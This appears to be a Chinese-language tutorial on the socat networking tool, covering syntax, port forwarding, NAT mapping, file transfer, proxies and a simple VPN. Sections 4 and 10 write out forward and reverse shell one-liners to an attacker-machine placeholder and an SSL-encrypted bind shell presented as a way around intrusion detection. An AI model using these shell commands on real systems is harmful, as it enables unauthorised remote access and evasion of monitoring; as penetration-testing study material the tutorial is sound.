Socat介绍及利用

简介 :

socat(英文全拼:Socket CAT)是 Linux 下的一个多功能的网络工具,其功能与有瑞士军刀之称的 Netcat 类似,可以看作是 Netcat 的加强版。socat 的主要特点就是在两个数据流之间建立通道,这些数据通道包含文件、管道、设备(终端或调制解调器等)、Socket、SSL、SOCKS4 客户端或代理 CONNECT。

socat 支持众多协议和链接方式,如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket 等。支持广播和多播、抽象 Unix sockets、Linux tun/tap、GNU readline 和 PTY,并提供了分叉、记录和进程间通信的不同模式。

.

.

语法 :

  • socat [ 选项 ] < 地址一 > < 地址二 >

    • 选项:

      • image-20211122110721124
    • 地址:

      • 使用 socat 需要提供兩個地址,然後 socat 做的事情就是把這兩個地址的數據流串起來,把第左邊地址的輸出數據傳給右邊,同時又把右邊輸出的數據傳到左邊。

        地址就类似于一个文件描述符,socat所做的工作就是在2个地址指定的描述符间建立一个pipe用于发送和接收数据。

      • 基础例子:

        • 最簡單的地址就是一個減號 “-”,代表標準輸入輸出,而在命令行輸入:

          socat - -

          就表示把标准输入和标准输出对接,输入什么就在shell中输出什么,类似于无参数的 cat 命令。

        • 除了 - 减号符号代表的地址外,还支持 TCP, TCP-LISTEN, UDP, UDP-LISTEN, OPEN, EXEC, SOCKS, PROXY 等多種地址,用於端口監聽、鏈接,文件和進程讀寫,代理橋接等等

        • 各种地址:

          image-20211122153715018

      • 地址参数的详细格式:

        • 以一个协议名开头,接着以冒号分隔主要参数,接着以逗号分隔细节选项参数
        • 协议:参数一:参数二,选项一,选项二
        • 举例:一个以 TCP 协议连接的网站的 80 端口 的地址应该这么写
          • TCP4:www.somewebsite123.com :80
          • 上面的例子没有写选项,但在之后可以附加一些选项,用逗号隔开,如fork,reuseaddr,stdin,stdout,ctty等。

.

.

常用功能 :

.

  • 1、网络连接:

    类似 nc 的监听和连接,可以一边使用 nc 监听, 一边使用 socat 连接

    • 监听端:socat — TCP-LISTEN:8080 (表示在监听端机器开启8080端口进行监听)

    • 连接端:socat — TCP:监听端 IP :8080 (表示连接端向监听端的8080端口发起连接)

    • 解释:

      • 在終端 1 上輸入第一行命令作爲服務端,並在終端 2 上輸入第二行命令作爲客戶端去鏈接。

        聯通後在終端 2 上隨便輸入點什麼,就能顯示在終端 1 上,反之亦然,因爲兩條命令都是把標準輸入輸出和網絡串起來,因此把兩個地址交換一下也是等價的:

        image-20211122113822589

        因爲 socat 就是把左右兩個地址的輸入輸出接在一起,因此顛倒左右兩個地址影響不大,除非前面指明 -u 或者 -U 顯示指明數據 “從左到右” 還是“從右到左”。

      • 同 netcat 一樣,如果客戶端結束的話,服務端也會結束,但是 socat 還可以加額外參數:

        image-20211122113916858

        服務端在 TCP-LISTEN 地址後面加了 fork 的參數後,就能同時應答多個鏈接過來的客戶端,每個客戶端會 fork 一個進程出來進行通信,加上 reuseaddr 可以防止鏈接沒斷開玩無法監聽的問題。

.

  • 2、端口转发:

    • 基础例子:

      监听端:socat TCP-LISTEN:8080,fork,resuseaddr TCP:192.168.1.xxx:80

      .

    • 解释:

      • 在主機上監聽一個 8080 端口,將 8080 端口所有流量轉發給指定機器的 80 端口

      • 連到這臺機器上 8080 端口的所有鏈接,相當於鏈接了 192.168.1.xxx 這臺機器的 80 端口,命令中交換左右兩個地址一樣是等價的

      • 這裏 socat 比 nc 強的地方就體現出來了,nc 做轉發時只能轉發 1 次,第一條鏈接 accept 並且關閉以後 nc 就退出了,無法接受新鏈接,因此 nc 只適合單次使用。

        而 socat 加上 fork 以後,每次 accept 一個鏈接都會 fork 出一份來不影響接收其他的新連接,這樣 socat 就可以當一個端口轉發服務,一直啓動在那裏。

        reuseaddr 设置本地端口可重复使用。

        還可以用 supervisor 託管起來,開機自動啓動。

        還可以用這個功能暴露一些 127.0.0.1 的端口出來供外面訪問,比起 nc 的臨時救急使用一下的場景,socat 是可以當一個服務長期運行的。

    • 使用场景:

      • 在实际生产中我们经常会遇到到一个场景就是,用一台机器作为转发服务器,连接 AB 两个网段,将转发服务器的某个端口上的流量转发到 B 网段的某台机器的某个端口,这样 A 网段的服务器就可以通过访问转发服务器上的端口访问到 B 网段的服务器端口。

        这样的场景一般在和客户建立专线的连接时候经常用到,一般也可以采用 iptables 做转发,但是比较复杂。socat 可以很轻松的完成这个功能,但是 socat 不支持端口段转发,只适用于单端口或者少量端口。

    • 实用例子:

      • socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672 ,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672

        参数说明:

        • -d -d :

          前面两个连续的 -d -d 代表调试信息的输出级别

          pwk 中的解释:supply the -d -d option to increase verbosity (showing fatal, error, warning, and notice messages)

        • -lf /var/log/socat.log :

          指定输出信息的文件保存位置

        • TCP4-LISTEN:15672:

          本地建立一个 TCP IPv4 协议的监听端口,也就是转发端口。这里是 15672,请根据实际情况改成你自己需要转发的端口。

        • bind=192.168.1.252 :

          指定监听绑定的 IP 地址

        • reuseaddr :

          设置本地端口可重复使用

        • fork :

          每次 accept 一個鏈接都會 fork 出一份來不影響接收其他的新連接,這樣 socat 就可以當一個端口轉發服務,一直啓動在那裏

          pwk 中的解释:

          fork creates a child process once a connection is made to the listener, which allows multiple connections

      • image-20211122122355562

.

/

  • 3、端口映射: (先搞清楚端口转发和端口映射的区别)

    • 在一个 NAT 网络环境中,也是可以通过 socat 将内部机器端口映射到公网上的。

    • 外部公网机器:

      • socat tcp-listen:1234 tcp-listen:3389
    • 内部私网中的机器:

      • socat tcp:outerhost:1234 tcp:192.168.1.34:3389
    • 上面的解释:

      • 这样,外部机器上的 3389 就映射在内网 192.168.1.34 的 3389 端口上,实现私网穿透。

.

/

  • 4、远程登录(shell 连接)

    • 之前我们说地址除了 TCP 和 TCP-LISTEN 外,另外一個重要的地址類型就是 EXEC 可以執行程序並且把輸入輸出和另外一個地址串起來

      既然如此,就能够利用这点进行传 shell,同样分为 正向 shell 和 反向 shell

    • 正向 shell:

      • 监听端:socat TCP-LISTEN:8080,fork,reuseaddr EXEC:/usr/bin/bash # 靶机端提供 shell
      • 连接端:socat - TCP:监听端 IP:8080 # 攻击机连接已知公网 IP 的靶机,然后获取到 shell
    • 反向 shell:

      • 连接端:socat TCP:攻击机 IP:8080 EXEC:/usr/bin/bash #靶机主动连接攻击机,并传shell
      • 监听端:socat TCP-LISTEN:8080,fork,reuseaddr - #攻击机监听连接,并开启 fork,reuseaddr选项
    • 一点完善,这里使用正向 shell 的情况演示:

      • 监听端(靶机):socat TCP-LISTEN:8099,fork,reuseaddr EXEC:/usr/bin/bash,pty,stderr

      • 连接端(攻击机):socat file:’ /dev/tty ‘,raw,echo=0 TCP:监听端 IP :8099

        • 监听端的意思是,把 stderr 标准错误输出重定向给监听端口的标准输出,把 pty (伪终端)也重定向给监听端口绑定的连接。简单来说就是给 连接端 送一个在 pty 中运行的 shell,且标准错误输出也送过去

        • 连接端的意思是,使用 tty 的方式访问,這樣基本就得到了一個全功能的交互式終端了,可以在裏面運行 vim, emacs 之類的程序。

          file:’/dev/tty’:表示和 /dev/tty 这个文件进行交互,这样 ctrl+c 也退出不了 连接

          raw : 表示地址后面跟的选项参数,生肉输出,大概是完整输出

          echo=0 :可以让输入的命令不在 shell 中重复出现一次

          具体可参考:

          https://unix.stackexchange.com/questions/165288/socat-disable-double-echo

    • 更高级的完善:

      • 正向连接的监听端(靶机):

        socat TCP-LISTEN:23,reuseaddr,fork,crlf exec:/bin/login,pty,setsid,setpgid,stderr,ctty

      • 解释:

.

/

  • 5、网页服务器:

    • 首先編寫一個腳本:web.sh

      image-20211122154641697

    • 這裏我們用 SYSTEM 地址類型代替原來的 EXEC 執行命令,因爲可以後面寫 shell 命令:

      • socat TCP-LISTEN:8099,fork,reuseaddr SYSTEM:”bash ./web.sh”h
    • 或者如下,做一个简易版的网页除错器

      • socat TCP-LISTEN:8000,crlf SYSTEM:”echo HTTP/1.0 200; echo Content-Type: text/plain; echo; cat”

.

/

  • 6、文件传输:
    • 接受端: socat -u TCP-LISTEN:8009 open:record.log ,create
    • 发送端: socat -u open:record.log TCP:接收端 IP:8009
      • 這裏用了 -u 參數,意思是數據從左邊的地址單向傳輸到右邊的地址,大寫 -U 的話是從右邊單向傳輸到左邊。
      • 传完了会自动结束,这点比 netcat 要更优秀

.

/

  • 7、读写分流:

    • socat 具有一个独特的读写分流功能,比如:可以实现一个假的 Web Server,客户端连过来之后就把 read.html 里面的内容传过去,同时把客户端的数据保存到 write.txt 里面。

    • 监听端:

      • socat open:read.html \ ! \ ! open:write.txt,create,append tcp-listen:8000,reuseaddr,fork

        注意:!! 符号用于合并读写流,前面的用于读,后面的用于写。由于 ! 在 Shell 中是特殊字符,所以这里在命令行中使用 \ 对其进行了转义。

.

/

  • 8、文件操作(本地):
    • 通过 socat 读取一个本地的文件,并在终端显示
      • socat - /etc/sysctl.conf
    • 通过 socat 将一段文本写入一个本地文件
      • echo “hello sb” | socat - /temp/hello.sh

.

/

  • 9、透明代理:
    • 用於 socks 代理的监听端:
      • socat TCP-LISTEN:<本地端口>,reuseaddr,fork SOCKS:<代理服務器IP>:<遠程地址的域名>:<遠程端口>,socksport=<代理服務器端口>
    • 用于 http 代理的监听端:
      • socat TCP-LISTEN:<本地端口>,reuseaddr,fork PROXY:<代理服務器IP>:<遠程地址的域名>:<遠程端口>,proxyport=<代理服務器端口>
    • 他們都可以把本地端口的請求轉換成使用代理服務器訪問的請求,比如:
      • socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
      • 那麼请求本地的 1234 端口,相當於通過代理服務器 127.0.0.1:5678 去访问 google.com 的 80 端口了,這裏用了 SOCKS4A ,後面 A 的意思是讓代理服務器去解析域名。

.

/

  • 10、SSL 连接(通过 openssl 来加密传输过程)

    • 前面我们使用 socat 传 shell 的时候,其实交流的内容是明文传输的。为了让信息传输更加安全,我们借助 SSL 证书来完成这个操作。像 SSL 这种程度的加密,基本上就能绕过 入侵检测系统 (IDS)

    • 具体操作:

      • 首先使用 openssl 这个软件,生成一个自签证书,使用到以下参数

        • req:初始化一个新的证书签名请求
        • -newkey:生成一个新的私玥
        • rsa:2048 :使用 RSA 加密方式,且密钥长度是 2048 位 (bit)
        • -nodes :以无密码验证(无密码保护)的方式储存私钥
        • -keyout :把密钥储存到一个文件中
        • -x509 :输出一个自签证书而不是一个证书请求
        • -days : 设置密钥有效期
        • -out :把证书保存到一个文件中
      • 上述操作会生产一个证书,和一个密钥。

        为了让 socat 可以识别我们的证书和密钥,首先要把证书和密钥放进同一个文件中,并以 .pem 格式保存

        具体演示图:

        image-20211125111542845

      • 现在就是用 socat 生产加密 shell (正向 shell)

        • 监听端:

          sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash

          We will use the OPENSSL-LISTEN option to create the listener on port 443, cert=bind_shell.pem to specify our certificate file, verify to disable SSL verification, and fork to spawn a child process once a connection is made to the listener

        • 连接端:

          socat - OPENSSL:监听端的 IP:443,verify=0

          We will use - to transfer data between STDIO and the remote host, OPENSSL to establish a remote SSL connection to Alice’s listener on 10.11.0.4:443, and verify=0 to disable SSL certificate verification

.

/

  • 11、搭建简单 VPN
    • 监听端:
      • socat -d -d TCP-LISTEN:11443,reuseaddr TUN:192.168.255.1/24,up
    • 连接端:
      • socat TCP:1.2.3.4:11443 TUN:192.168.255.2/24,up

.

.

socat 工作原理:

  • image-20211122174215378
    • image-20211122174241267

.

.

/

参考: